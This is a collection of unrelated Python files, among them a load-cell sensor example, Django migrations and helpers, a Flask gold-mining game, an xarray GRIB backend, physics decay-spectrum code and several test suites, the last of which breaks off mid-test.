import nau7802py, time myScale = nau7802py.NAU7802() # Create instance of the NAU7802 class # # Begin void setup() equivalent # print('Qwiic Scale Example') if not myScale.begin(): print('Scale not detected. Please check wiring. Freezing...') while True: pass print('Scale detected!') # # Begin void loop() equivalent # while True: myScale.powerDown() # Power down to ~200nA time.sleep(1) myScale.powerUp() # Power up scale. This scale takes ~600ms to boot and take reading. # Time how long it takes for scale to take a reading startTime = time.time() while not myScale.available(): time.sleep(0.001) currentReading = myScale.getReading(); print('Startup time: ', time.time() - startTime, end = '') print(', ', currentReading) time.sleep(0.1)
python
import unittest # These can't be imported until the test_imported_enums_proto module has been built. Status = None MessageID = None ExposesInternalEnumConstantsMessageinternal_enum = None UsesImportedEnumsMessage = None class ImportedEnumsTest(unittest.TestCase): @classmethod def setUpClass(cls): global Status, MessageID, ExposesInternalEnumConstantsMessageinternal_enum, UsesImportedEnumsMessage from test_multi_messages_toplevel_enums_proto import Status, MessageID from test_imported_enums_proto import UsesImportedEnumsMessage, ExposesInternalEnumConstantsMessageinternal_enum def test_message_id_has_default_of_msg_one(self): message = UsesImportedEnumsMessage() self.assertEqual(message.message_id, MessageID.MSG_ONE.value) def test_status_has_default_of_close(self): message = UsesImportedEnumsMessage() self.assertEqual(message.status, Status.CLOSE.value) def test_internal_enum_constants_exposed(self): self.assertEqual(ExposesInternalEnumConstantsMessageinternal_enum.INTERNAL.value, 0) self.assertEqual(ExposesInternalEnumConstantsMessageinternal_enum.EXTERNAL.value, 1)
python
# Generated by Django 3.2.5 on 2021-07-17 13:11 import contest.models from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Contest', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100)), ('description', models.TextField(blank=True)), ('created_time', models.DateTimeField(auto_now_add=True)), ('start_time', models.DateTimeField()), ('end_time', models.DateTimeField()), ('time_limit', models.PositiveIntegerField(blank=True, default=0)), ('is_finished', models.BooleanField(default=False)), ('conflicts', models.ManyToManyField(blank=True, related_name='_contest_contest_conflicts_+', to='contest.Contest')), ('creator', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='creator_of', to=settings.AUTH_USER_MODEL)), ('dependencies', models.ManyToManyField(blank=True, related_name='_contest_contest_dependencies_+', to='contest.Contest')), ('judgers', models.ManyToManyField(blank=True, related_name='judger_of', to=settings.AUTH_USER_MODEL)), ('participants', models.ManyToManyField(blank=True, related_name='participant_of', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Entry', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('submit_time', models.DateTimeField(auto_now_add=True)), ('note', models.TextField(blank=True)), ('status', models.IntegerField(choices=[(1, 'Pending'), (2, 'Accepted'), (3, 'Rejected')], default=1)), ('judger_note', models.TextField(blank=True)), ('contest', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='entries', to='contest.contest')), ('judger', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to=settings.AUTH_USER_MODEL)), ('participant', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='EntryAttachment', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('file', models.FileField(upload_to=contest.models.EntryAttachment.file_path)), ('attached_to', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='attachments', to='contest.entry')), ('uploader', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='ContestAttachment', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('file', models.FileField(upload_to=contest.models.ContestAttachment.file_path)), ('is_public', models.BooleanField(default=True)), ('attached_to', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='attachments', to='contest.contest')), ('uploader', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to=settings.AUTH_USER_MODEL)), ], ), ]
python
import logging from contextlib import contextmanager, AbstractContextManager from typing import Callable from sqlalchemy import create_engine from sqlalchemy.ext.declarative import as_declarative, declared_attr from sqlalchemy.orm import Session, sessionmaker, scoped_session logger = logging.getLogger(__name__) @as_declarative() class Base: @declared_attr def __tablename__(cls) -> str: return cls.__name__.lower() class Database: def __init__(self, db_url: str) -> None: self._engine = create_engine(db_url, echo=True) self._session_factory = scoped_session( sessionmaker( autocommit=False, autoflush=False, bind=self._engine, ), ) def create_database(self) -> None: Base.metadata.create_all(self._engine) @contextmanager def session(self) -> Callable[..., AbstractContextManager[Session]]: session: Session = self._session_factory() try: yield session except Exception: logger.exception("Session rollback because of exception") session.rollback() raise finally: session.close()
python
from flask import Flask, render_template, redirect, session, request import random import datetime app = Flask(__name__) app.secret_key = "12345678asdfghjk" @app.route('/') def index(): if not 'gold' in session: session['gold'] = 0 if not 'log' in session: session['log'] = ["Thanks for joining the game!"] return render_template('index.html') @app.route('/reset', methods=['POST']) def reset(): session.clear() return redirect('/') @app.route('/process_money', methods=['POST']) def process(): when = datetime.datetime.now() if request.form['arena'] == 'farm': money = random.randint(10,20) msg = "Baled some hay and earned " + str(money) + " gold (" + str(when) + ")" session['log'].append(msg) session['gold'] += money elif request.form['arena'] == 'cave': money = random.randint(5,10) msg = "Mined some ore and earned " + str(money) + " gold (" + str(when) + ")" session['log'].append(msg) session['gold'] += money elif request.form['arena'] == 'house': money = random.randint(2,5) msg = "Cleaned some dishes and earned " + str(money) + " gold (" + str(when) + ")" session['log'].append(msg) session['gold'] += money else: odds = random.randint(1,10) if odds < 3: money = random.randint(0,50) msg = "Got lucky and won " + str(money) + " gold (" + str(when) + ")" session['log'].append(msg) session['gold'] += money else: money = random.randint(-50,0) msg = "Lost " + str(abs(money)) + " gold at the casino (" + str(when) + ")" session['log'].append(msg) session['gold'] += money return redirect('/') app.run()
python
from django.apps import AppConfig class PersonConfig(AppConfig): name = 'person'
python
# # Copyright 2017-2018 European Centre for Medium-Range Weather Forecasts (ECMWF). # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Alessandro Amici - B-Open - https://bopen.eu # from __future__ import absolute_import, division, print_function import numpy as np from xarray import Variable from xarray.core import indexing from xarray.core.utils import Frozen, FrozenOrderedDict from xarray.backends.common import AbstractDataStore, BackendArray try: from xarray.backends.locks import ensure_lock, SerializableLock except ImportError: # no locking for xarray <= 0.11 def ensure_lock(lock): return lock class SerializableLock(object): def __enter__(self): pass def __exit__(self, exc_type, exc_val, exc_tb): pass # FIXME: Add a dedicated lock, even if ecCodes is supposed to be thread-safe # in most circumstances. See: # https://confluence.ecmwf.int/display/ECC/Frequently+Asked+Questions ECCODES_LOCK = SerializableLock() class CfGribArrayWrapper(BackendArray): def __init__(self, datastore, array): self.datastore = datastore self.shape = array.shape self.dtype = array.dtype self.array = array def __getitem__(self, key): return indexing.explicit_indexing_adapter( key, self.shape, indexing.IndexingSupport.OUTER, self._getitem) def _getitem(self, key): with self.datastore.lock: return self.array[key] class CfGribDataStore(AbstractDataStore): """ Implements the ``xr.AbstractDataStore`` read-only API for a GRIB file. """ def __init__(self, filename, lock=None, **backend_kwargs): import cfgrib if lock is None: lock = ECCODES_LOCK self.lock = ensure_lock(lock) self.ds = cfgrib.open_file(filename, **backend_kwargs) def open_store_variable(self, name, var): if isinstance(var.data, np.ndarray): data = var.data else: wrapped_array = CfGribArrayWrapper(self, var.data) data = indexing.LazilyOuterIndexedArray(wrapped_array) encoding = self.ds.encoding.copy() encoding['original_shape'] = var.data.shape return Variable(var.dimensions, data, var.attributes, encoding) def get_variables(self): return FrozenOrderedDict((k, self.open_store_variable(k, v)) for k, v in self.ds.variables.items()) def get_attrs(self): return Frozen(self.ds.attributes) def get_dimensions(self): return Frozen(self.ds.dimensions) def get_encoding(self): dims = self.get_dimensions() encoding = { 'unlimited_dims': {k for k, v in dims.items() if v is None}, } return encoding
python
from hazma.decay import charged_pion, muon, neutral_pion from hazma.field_theory_helper_functions.common_functions import minkowski_dot as MDot from hazma.parameters import electron_mass as me from hazma.parameters import muon_mass as mmu from hazma.parameters import charged_pion_mass as mpi from hazma.parameters import neutral_pion_mass as mpi0 from hazma.parameters import charged_kaon_mass as mk from hazma.parameters import neutral_kaon_mass as mk0 from hazma.rambo import generate_energy_histogram as geh import numpy as np bfs = { "munu": 0.6356, "p0": 0.2067, "ppm": 0.05583, "0enu": 0.0507, "0munu": 0.03352, "00p": 0.01760, } # ############################ # ##### Matrix Elements ###### # ############################ # Constants for weak hadronic matrix elements alpha1 = 93.16 * 10 ** -8.0 alpha3 = -6.72 * 10 ** -8.0 beta1 = -27.06 * 10 ** -8.0 beta3 = -2.22 * 10 ** -8.0 gamma3 = 2.95 * 10 ** -8.0 zeta1 = -0.40 * 10 ** -8.0 zeta3 = -0.09 * 10 ** -8.0 xi1 = -1.83 * 10 ** -8.0 xi3 = -0.17 * 10 ** -8.0 xi3p = -0.56 * 10 ** -8.0 A2 = 0.0212 * 10 ** -3.0 lamp = 0.034 lam0 = 0.025 def amp_L000(moms): """ Amplitude for k_L(k) -> pi0(p1) + pi0(p2) + pi0(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi0 moms[1] = pi0 moms[2] = pi0 """ p1 = moms[0] p2 = moms[1] p3 = moms[2] k = p1 + p2 + p3 s0 = (1.0 / 3.0) * (mk0 ** 2 + 3 * mpi0 ** 2) s1 = MDot(k - p1, k - p1) s2 = MDot(k - p2, k - p2) s3 = MDot(k - p3, k - p3) x = (s2 - s1) / mpi ** 2 y = (s3 - s0) / mpi ** 2 return 3.0 * (alpha1 + alpha3) + -3.0 * (zeta1 - 2.0 * zeta3) * ( y ** 2 + x ** 2 / 3.0 ) return 3.0 * (alpha1 + alpha3) + -3.0 * (zeta1 - 2.0 * zeta3) * ( y ** 2 + x ** 2 / 3.0 ) def amp_Lpm0(moms): """ Amplitude for k_L(k) -> pi^+(p1) + pi^-(p2) + pi0(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi moms[1] = pi moms[2] = pi0 """ p1 = moms[0] p2 = moms[1] p3 = moms[2] k = p1 + p2 + p3 s0 = (1.0 / 3.0) * (mk0 ** 2 + 2 * mpi ** 2 + mpi0 ** 2) s1 = MDot(k - p1, k - p1) s2 = MDot(k - p2, k - p2) s3 = MDot(k - p3, k - p3) x = (s2 - s1) / mpi ** 2 y = (s3 - s0) / mpi ** 2 return ( (alpha1 + alpha3) - (beta1 + beta3) * y + (zeta1 - 2.0 * zeta3) * (y ** 2 + x ** 2 / 3.0) + (xi1 - 2.0 * xi3) * (y ** 2 - x ** 2 / 3.0) ) def amp_Spm0(moms): """ Amplitude for k_S(k) -> pi^+(p1) + pi^-(p2) + pi0(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi moms[1] = pi moms[2] = pi0 """ p1 = moms[0] p2 = moms[1] p3 = moms[2] k = p1 + p2 + p3 s0 = (1.0 / 3.0) * (mk0 ** 2 + 2 * mpi ** 2 + mpi0 ** 2) s1 = MDot(k - p1, k - p1) s2 = MDot(k - p2, k - p2) s3 = MDot(k - p3, k - p3) x = (s2 - s1) / mpi ** 2 y = (s3 - s0) / mpi ** 2 return (2.0 / 3.0) * np.sqrt(3) * gamma3 * x - (4.0 / 3.0) * xi3p * x * y def amp_00p(moms): """ Amplitude for k^+(k) -> pi0(p1) + pi0(p2) + pi^+(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi0 moms[1] = pi0 moms[2] = pi """ p1 = moms[0] p2 = moms[1] p3 = moms[2] k = p1 + p2 + p3 s0 = (1.0 / 3.0) * (mk0 ** 2 + 2 * mpi0 ** 2 + mpi ** 2) s1 = MDot(k - p1, k - p1) s2 = MDot(k - p2, k - p2) s3 = MDot(k - p3, k - p3) x = (s2 - s1) / mpi ** 2 y = (s3 - s0) / mpi ** 2 return ( -0.5 * (2.0 * alpha1 - alpha3) + (beta1 - 0.5 * beta3 - np.sqrt(3) * gamma3) * y - (zeta1 + zeta3) * (y ** 2 + x ** 2 / 3.0) - (xi1 + xi3 + xi3p) * (y ** 2 - x ** 2 / 3.0) ) def amp_ppm(moms): """ Amplitude for k^+(k) -> pi^+(p1) + pi^+(p2) + pi^-(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi moms[1] = pi moms[2] = pi """ p1 = moms[0] p2 = moms[1] p3 = moms[2] k = p1 + p2 + p3 s0 = (1.0 / 3.0) * (mk ** 2 + 3 * mpi ** 2) s1 = MDot(k - p1, k - p1) s2 = MDot(k - p2, k - p2) s3 = MDot(k - p3, k - p3) x = (s2 - s1) / mpi ** 2 y = (s3 - s0) / mpi ** 2 return ( (2.0 * alpha1 - alpha3) + (beta1 - 0.5 * beta3 + np.sqrt(3) * gamma3) * y - 2.0 * (zeta1 + zeta3) * (y ** 2 + x ** 2 / 3.0) - (xi1 + xi3 - xi3p) * (y ** 2 - x ** 2 / 3.0) ) def msqrd_L000(moms): """ Squared matrix element for k_L(k) -> pi0(p1) + pi0(p2) + pi0(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi0 moms[1] = pi0 moms[2] = pi0 """ return abs(amp_L000(moms)) ** 2 def msqrd_Lpm0(moms): """ Squared matrix element for k_L(k) -> pi^+(p1) + pi^-(p2) + pi0(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi moms[1] = pi moms[2] = pi0 """ return abs(amp_Lpm0(moms)) ** 2 def msqrd_Spm0(moms): """ Squared matrix element for k_S(k) -> pi^+(p1) + pi^-(p2) + pi0(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi moms[1] = pi moms[2] = pi0 """ return abs(amp_Spm0(moms)) ** 2 def msqrd_00p(moms): """ Squared matrix element for k^+(k) -> pi0(p1) + pi0(p2) + pi^+(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi0 moms[1] = pi0 moms[2] = pi """ return abs(amp_00p(moms)) ** 2 def msqrd_ppm(moms): """ Squared matrix element for k^+(k) -> pi^+(p1) + pi^+(p2) + pi^-(p3) Parameters ---------- moms : ndarray[dim=2] moms[0] = pi moms[1] = pi moms[2] = pi """ return abs(amp_ppm(moms)) ** 2 def msqrd_pilnu(moms, ml): pp = moms[0] pl = moms[1] pn = moms[2] return ( (lam0 - lamp) ** 2 * (mk - mpi) ** 2 * (mk + mpi) ** 2 * MDot(pl, pn) * ( -mk ** 2 + 2 * ml ** 2 + mpi ** 2 + 2 * MDot(pl, pn) + 2 * MDot(pl, pp) + 2 * MDot(pp, pn) ) - ( lamp * mk ** 2 + mpi ** 2 - lamp * mpi ** 2 - 2 * lamp * MDot(pl, pp) - 2 * lamp * MDot(pp, pn) ) ** 2 * ( -2 * MDot(pl, pn) ** 2 + MDot(pl, pn) * ( mk ** 2 - 2 * ml ** 2 + 3 * mpi ** 2 - 2 * MDot(pl, pp) - 2 * MDot(pp, pn) ) - 4 * (ml ** 2 + 2 * MDot(pl, pp)) * MDot(pp, pn) ) - (lam0 - lamp) * (mk - mpi) * (mk + mpi) * ( -2 * MDot(pl, pn) ** 2 + MDot(pl, pn) * (mk ** 2 - 2 * ml ** 2 - mpi ** 2 - 2 * MDot(pl, pp) - 2 * MDot(pp, pn)) - 2 * ml ** 2 * MDot(pp, pn) ) * ( lamp * mk ** 2 + (1 + lamp) * mpi ** 2 - 2 * lamp * (mpi ** 2 + MDot(pl, pp) + MDot(pp, pn)) ) - (lam0 - lamp) * (-mk + mpi) * (mk + mpi) * ( lamp * mk ** 2 + (1 + lamp) * mpi ** 2 - 2 * lamp * (mpi ** 2 + MDot(pl, pp) + MDot(pp, pn)) ) * ( 2 * MDot(pl, pn) ** 2 + 2 * ml ** 2 * MDot(pp, pn) + MDot(pl, pn) * (-mk ** 2 + 2 * ml ** 2 + mpi ** 2 + 2 * MDot(pl, pp) + 2 * MDot(pp, pn)) ) ) / mpi ** 4 def msqrd_pienu(moms): return msqrd_pilnu(moms, me) def msqrd_pimunu(moms): return msqrd_pilnu(moms, mmu) # #################################### # #### Create Probability Arrays ##### # #################################### npts = 10 ** 6 nbins = 25 m_vecs = { "ppm": np.array([mpi, mpi, mpi]), "0enu": np.array([mpi0, me, 0.0]), "0munu": np.array([mpi0, mmu, 0.0]), "00p": np.array([mpi0, mpi0, mpi]), } prob_dists_nome = { "ppm": geh(npts, m_vecs["ppm"], mk, num_bins=nbins, density=True)[0], "0enu": geh(npts, m_vecs["0enu"], mk, num_bins=nbins, density=True)[0], "0munu": geh(npts, m_vecs["0munu"], mk, num_bins=nbins, density=True)[0], "00p": geh(npts, m_vecs["00p"], mk, num_bins=nbins, density=True)[0], } prob_dists = { "ppm": geh( npts, m_vecs["ppm"], mk, num_bins=nbins, density=True, mat_elem_sqrd=msqrd_ppm )[0], "0enu": geh( npts, m_vecs["0enu"], mk, num_bins=nbins, density=True, mat_elem_sqrd=msqrd_pienu, )[0], "0munu": geh( npts, m_vecs["0munu"], mk, num_bins=nbins, density=True, mat_elem_sqrd=msqrd_pimunu, )[0], "00p": geh( npts, m_vecs["00p"], mk, num_bins=nbins, density=True, mat_elem_sqrd=msqrd_00p )[0], } # ########################## # #### Compute Spectra ##### # ########################## neng_gams = 1000 eng_gams = np.logspace(-5.0, 4.0, num=1000, dtype=np.float64) # Two body decays spec_munu = muon(eng_gams, (mk ** 2 - mmu ** 2) / (2.0 * mk)) spec_p0 = charged_pion(eng_gams, (mk ** 2 - mpi ** 2 + mpi0 ** 2) / (2.0 * mk)) spec_p0 += neutral_pion(eng_gams, (mk ** 2 + mpi ** 2 - mpi0 ** 2) / (2.0 * mk)) # Three body decays spec_ppm = np.zeros(neng_gams, dtype=np.float64) spec_0enu = np.zeros(neng_gams, dtype=np.float64) spec_0munu = np.zeros(neng_gams, dtype=np.float64) spec_00p = np.zeros(neng_gams, dtype=np.float64) for k in range(nbins): spec_ppm += prob_dists["ppm"][0, 1, k] * charged_pion( eng_gams, prob_dists["ppm"][0, 0, k] ) spec_ppm += prob_dists["ppm"][1, 1, k] * charged_pion( eng_gams, prob_dists["ppm"][1, 0, k] ) spec_ppm += prob_dists["ppm"][2, 1, k] * charged_pion( eng_gams, prob_dists["ppm"][2, 0, k] ) spec_0enu += prob_dists["0enu"][0, 1, k] * neutral_pion( eng_gams, prob_dists["0enu"][0, 0, k] ) spec_0munu += prob_dists["0munu"][0, 1, k] * neutral_pion( eng_gams, prob_dists["0munu"][0, 0, k] ) spec_0munu += prob_dists["0munu"][1, 1, k] * muon( eng_gams, prob_dists["0munu"][1, 0, k] ) spec_00p += prob_dists["00p"][0, 1, k] * neutral_pion( eng_gams, prob_dists["00p"][0, 0, k] ) spec_00p += prob_dists["00p"][1, 1, k] * neutral_pion( eng_gams, prob_dists["00p"][1, 0, k] ) spec_00p += prob_dists["00p"][2, 1, k] * charged_pion( eng_gams, prob_dists["00p"][2, 0, k] ) spec = ( bfs["munu"] * spec_munu + bfs["p0"] * spec_p0 + bfs["ppm"] * spec_ppm + bfs["0enu"] * spec_0enu + bfs["0munu"] * spec_0munu + bfs["00p"] * spec_00p ) np.savetxt("charged_kaon_interp.dat", zip(eng_gams, spec), delimiter=",")
python
# -*- coding: utf-8 -*- """Test settings""" import os # Set your environment variables for testing or put values here # user email or phone number USER_LOGIN = os.getenv('VK_USER_LOGIN', '') USER_PASSWORD = os.getenv('VK_USER_PASSWORD', '') # aka API/Client ID APP_ID = os.getenv('VK_APP_ID') PHONE_NUMBER = os.getenv('VK_PHONE_NUMBER') SERVICE_TOKEN = os.getenv('VK_SERVICE_TOKEN') CLIENT_SECRET = os.getenv('VK_CLIENT_SECRET')
python
import cost_funcs.info as info import cost_funcs.standard as std import pytest def test_bounds_eggholder(): assert info.get_bounds(std.eggholder, 2)[0][0] == -512 def test_bounds_michal_dim(): for dim in range(10): assert len(info.get_bounds(std.michal, dim)) == dim def test_function_name_eggholder(): assert info.get_function_name(std.eggholder) == "Eggholder Function" def test_global_minima_eggholder(): assert info.get_global_minima(std.eggholder, 2)[0] == pytest.approx(-959.6407, 0.001)
python
import re from django.core import exceptions as core_exceptions from api.models import Contributor, ExtendedField, ProductType from api.facility_type_processing_type import ( get_facility_and_processing_type, ) def extract_int_range_value(value): """ Excel workbooks mat contain decimal values for number_of_workers. Matching the decimal in the regex then using int(float(x)) ensures that a plain integer is extracted. """ values = [int(float(x)) for x in re.findall(r'([0-9.]+)', str(value).replace(',', ''))] return {"min": min(values, default=0), "max": max(values, default=0)} MAX_PRODUCT_TYPE_COUNT = 50 def get_facility_and_processing_type_extendfield_value(field, field_value): values = field_value if isinstance(field_value, str): values = (field_value.split('|') if '|' in field_value else [field_value]) deduped_values = list(dict.fromkeys(values)) results = [] for value in deduped_values: result = get_facility_and_processing_type(value) results.append(result) return { 'raw_values': field_value, 'matched_values': results, } def get_parent_company_extendedfield_value(field_value): matches = Contributor.objects.filter_by_name(field_value) if matches.exists(): return { 'raw_value': field_value, 'contributor_name': matches[0].name, 'contributor_id': matches[0].id } else: return { 'raw_value': field_value, 'name': field_value } def get_product_type_extendedfield_value(field_value): if isinstance(field_value, str): field_value = field_value.split('|') if not isinstance(field_value, list): raise core_exceptions.ValidationError( 'Expected product_type to be a list or string ' f'but got {field_value}') if len(field_value) > MAX_PRODUCT_TYPE_COUNT: raise core_exceptions.ValidationError( f'You may submit a maximum of {MAX_PRODUCT_TYPE_COUNT} ' f'product types, not {len(field_value)}') return { 'raw_values': field_value, } def create_extendedfield(field, field_value, item, contributor): if field_value is not None and field_value != "": if field == ExtendedField.NUMBER_OF_WORKERS: field_value = extract_int_range_value(field_value) elif field == ExtendedField.PARENT_COMPANY: field_value = get_parent_company_extendedfield_value(field_value) elif field == ExtendedField.PRODUCT_TYPE: field_value = get_product_type_extendedfield_value(field_value) elif (field == ExtendedField.FACILITY_TYPE or field == ExtendedField.PROCESSING_TYPE): field_value = get_facility_and_processing_type_extendfield_value( field, field_value ) ExtendedField.objects.create( contributor=contributor, facility_list_item=item, field_name=field, value=field_value ) RAW_DATA_FIELDS = (ExtendedField.NUMBER_OF_WORKERS, ExtendedField.NATIVE_LANGUAGE_NAME, ExtendedField.PARENT_COMPANY, ExtendedField.PRODUCT_TYPE, ExtendedField.FACILITY_TYPE, ExtendedField.PROCESSING_TYPE) def create_extendedfields_for_single_item(item, raw_data): if item.id is None: return False contributor = item.source.contributor # facility_type_processing_type is a special "meta" field that attempts to # simplify the submission process for contributors. if (raw_data.get('facility_type_processing_type')): if raw_data.get('facility_type') is None: raw_data['facility_type'] = \ raw_data['facility_type_processing_type'] if raw_data.get('processing_type') is None: raw_data['processing_type'] = \ raw_data['facility_type_processing_type'] # Add a facility_type extended field if the user only # submitted a processing_type elif (raw_data.get('processing_type') and raw_data.get('facility_type') is None): raw_data['facility_type'] = raw_data['processing_type'] # Add a processing_type extended field if the user only # submitted a facility_type elif (raw_data.get('facility_type') and raw_data.get('processing_type') is None): raw_data['processing_type'] = raw_data['facility_type'] for field in RAW_DATA_FIELDS: field_value = raw_data.get(field) create_extendedfield(field, field_value, item, contributor) def create_extendedfields_for_listitem(item, fields, values): if item.id is None: return False contributor = item.source.contributor for field in RAW_DATA_FIELDS: if field in fields: field_value = values[fields.index(field)] create_extendedfield(field, field_value, item, contributor) # Add a facility_type extended field if the user only # submitted a processing_type if (field == 'processing_type' and 'facility_type' not in fields): create_extendedfield('facility_type', field_value, item, contributor) # Add a processing_type extended field if the user only # submitted a facility_type elif (field == 'facility_type' and 'processing_type' not in fields): create_extendedfield('processing_type', field_value, item, contributor) def update_extendedfields_for_list_item(list_item): for extended_field in ExtendedField.objects.filter( facility_list_item=list_item): extended_field.facility = list_item.facility extended_field.save() CLAIM_FIELDS = ( ('facility_name_english', ExtendedField.NAME), ('facility_address', ExtendedField.ADDRESS), ('facility_workers_count', ExtendedField.NUMBER_OF_WORKERS), ('facility_name_native_language', ExtendedField.NATIVE_LANGUAGE_NAME), ('facility_production_types', ExtendedField.PROCESSING_TYPE), ('facility_type', ExtendedField.FACILITY_TYPE), ('parent_company', ExtendedField.PARENT_COMPANY), ('facility_product_types', ExtendedField.PRODUCT_TYPE), ) def create_extendedfields_for_claim(claim): if claim.id is None: return False c = claim.contributor f = claim.facility for claim_field, extended_field in CLAIM_FIELDS: if extended_field == ExtendedField.FACILITY_TYPE: # We have unified the facility type and processing type in the UI # into a single processing type field but we still want to create a # facility type extended field based on processing types selected field_value = getattr(claim, 'facility_production_types') else: field_value = getattr(claim, claim_field) if field_value is not None and field_value != "": if extended_field == ExtendedField.NUMBER_OF_WORKERS: field_value = extract_int_range_value(field_value) elif extended_field == ExtendedField.PARENT_COMPANY: field_value = get_parent_company_extendedfield_value( field_value.name ) elif extended_field in [ExtendedField.PROCESSING_TYPE, ExtendedField.FACILITY_TYPE]: field_value = ( get_facility_and_processing_type_extendfield_value( extended_field, field_value ) ) elif extended_field == ExtendedField.PRODUCT_TYPE: field_value = get_product_type_extendedfield_value(field_value) try: field = ExtendedField.objects.get(facility_claim=claim, field_name=extended_field) field.value = field_value field.save() except ExtendedField.DoesNotExist: ExtendedField.objects.create(contributor=c, facility=f, facility_claim=claim, field_name=extended_field, value=field_value) else: ExtendedField.objects.filter(facility_claim=claim, field_name=extended_field).delete() def get_product_types(): product_types = list(ProductType.objects.all() .values_list('value', flat=True)) ef_values = (ExtendedField.objects.filter(field_name='product_type') .values_list('value__raw_values', flat=True)) flat_ef_value_titles = [item.title() for sublist in ef_values for item in sublist] product_types.extend(flat_ef_value_titles) # Converting to a set and back removes duplicates product_types = list(set(product_types)) product_types.sort() return product_types
python
import os import json from collections import namedtuple import shutil import pytest import responses from coincurve import PrivateKey from requests.exceptions import ConnectionError import common.receipts as receipts from common.tools import compute_locator, is_compressed_pk from common.appointment import Appointment, AppointmentStatus from common.cryptographer import Cryptographer from common.exceptions import InvalidParameter, InvalidKey, TowerResponseError import contrib.client.teos_client as teos_client from contrib.client.test.conftest import get_random_value_hex, get_config config = get_config() # dummy keys for the tests dummy_user_sk = PrivateKey.from_int(1) dummy_user_id = Cryptographer.get_compressed_pk(dummy_user_sk.public_key) dummy_teos_sk = PrivateKey.from_int(2) dummy_teos_id = Cryptographer.get_compressed_pk(dummy_teos_sk.public_key) another_sk = PrivateKey.from_int(3) teos_url = "http://{}:{}".format(config.get("API_CONNECT"), config.get("API_PORT")) add_appointment_endpoint = "{}/add_appointment".format(teos_url) register_endpoint = "{}/register".format(teos_url) get_appointment_endpoint = "{}/get_appointment".format(teos_url) get_all_appointments_endpoint = "{}/get_all_appointments".format(teos_url) get_subscription_info_endpoint = "{}/get_subscription_info".format(teos_url) dummy_appointment_data = {"tx": get_random_value_hex(192), "tx_id": get_random_value_hex(32), "to_self_delay": 200} # This is the format appointment turns into once it hits "add_appointment" dummy_appointment_dict = { "locator": compute_locator(dummy_appointment_data.get("tx_id")), "to_self_delay": dummy_appointment_data.get("to_self_delay"), "encrypted_blob": Cryptographer.encrypt(dummy_appointment_data.get("tx"), dummy_appointment_data.get("tx_id")), } dummy_appointment = Appointment.from_dict(dummy_appointment_dict) dummy_user_data = {"appointments": [], "available_slots": 100, "subscription_expiry": 7000} # The height is never checked in the tests, so we can make it up CURRENT_HEIGHT = 300 @pytest.fixture def keyfiles(): # generate a private/public key pair, and an empty file, and return their names KeyFiles = namedtuple("KeyFiles", ["private_key_file_path", "public_key_file_path", "empty_file_path"]) # Let's first create a private key and public key files private_key_file_path = "sk_test_file" public_key_file_path = "pk_test_file" empty_file_path = "empty_file" with open(private_key_file_path, "wb") as f: f.write(dummy_user_sk.to_der()) with open(public_key_file_path, "wb") as f: f.write(dummy_user_sk.public_key.format(compressed=True)) with open(empty_file_path, "wb"): pass yield KeyFiles(private_key_file_path, public_key_file_path, empty_file_path) # Remove the tmp files os.remove(private_key_file_path) os.remove(public_key_file_path) os.remove(empty_file_path) @pytest.fixture def post_response(): # Create a response for the post requests to the tower return { "locator": dummy_appointment.to_dict()["locator"], "signature": Cryptographer.sign(dummy_appointment.serialize(), dummy_teos_sk), } @responses.activate def test_register(): # Simulate a register response slots = 100 expiry = CURRENT_HEIGHT + 4320 signature = Cryptographer.sign(receipts.create_registration_receipt(dummy_user_id, slots, expiry), dummy_teos_sk) response = {"available_slots": slots, "subscription_expiry": expiry, "subscription_signature": signature} responses.add(responses.POST, register_endpoint, json=response, status=200) teos_client.register(dummy_user_id, dummy_teos_id, teos_url) @responses.activate def test_register_wrong_signature(): # Simulate a register response with a wrong signature slots = 100 expiry = CURRENT_HEIGHT + 4320 signature = Cryptographer.sign(receipts.create_registration_receipt(dummy_user_id, slots, expiry), another_sk) response = {"available_slots": slots, "subscription_expiry": expiry, "subscription_signature": signature} responses.add(responses.POST, register_endpoint, json=response, status=200) with pytest.raises(TowerResponseError, match="signature is invalid"): teos_client.register(dummy_user_id, dummy_teos_id, teos_url) @responses.activate def test_register_no_signature(): # Simulate a register response with a wrong signature slots = 100 expiry = CURRENT_HEIGHT + 4320 response = {"available_slots": slots, "subscription_expiry": expiry} responses.add(responses.POST, register_endpoint, json=response, status=200) with pytest.raises(TowerResponseError, match="does not contain the signature"): 